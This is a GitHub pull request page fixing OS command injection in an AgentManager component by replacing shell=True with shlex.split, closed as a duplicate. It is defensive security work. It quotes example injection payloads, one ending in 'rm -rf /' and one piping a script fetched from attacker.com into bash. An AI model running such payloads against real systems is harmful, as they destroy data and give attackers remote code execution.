fix: prevent OS command injection in AgentManager via shell=True#87
Closed
Joshua-Medvinsky wants to merge 1 commit into
Closed
Conversation
Replace shell=True subprocess call with shlex.split() to ensure command strings are tokenized rather than interpreted by a shell. Without this fix, an attacker who can reach POST /api/create_agent with template_id=custom_script can inject arbitrary shell commands via the script_path parameter (e.g. "evil; rm -rf /"). Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Author
|
Closing — duplicate of #90 which was submitted moments later with the same fix. Sorry for the noise. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
AgentManager.start_agent_serverpassed a caller-controlled command string tosubprocess.Popenwithshell=True. An unauthenticated attacker who can reach thePOST /api/create_agentendpoint can exploit this by settingtemplate_id=custom_scriptand providing ascript_pathcontaining shell metacharacters (e.g."ls; curl attacker.com/shell.sh | bash; echo"), achieving OS command injection / RCE.Vulnerable code (before)
```python
process = subprocess.Popen(
command, # attacker-controlled string
shell=True, # shell interprets metacharacters
...
)
```
Fix
Replace
shell=Truewithshlex.split()to tokenize the command string into an argument list. The shell is never invoked, so metacharacters in any component are treated as literals.```python
cmd_args = shlex.split(command) if isinstance(command, str) else command
process = subprocess.Popen(cmd_args, ...)
```
Attack path
The
script_pathvalue is interpolated into"{script_path} --port {port}"and then executed by/bin/sh— no authentication required on the/api/*routes.Test plan
/api/create_agentwith a benignscript_path— agent launches correctlyscript_pathcontaining;or&&shell operators — command injection no longer executes;shlex.splittokenises as one argument instead🤖 Generated with Claude Code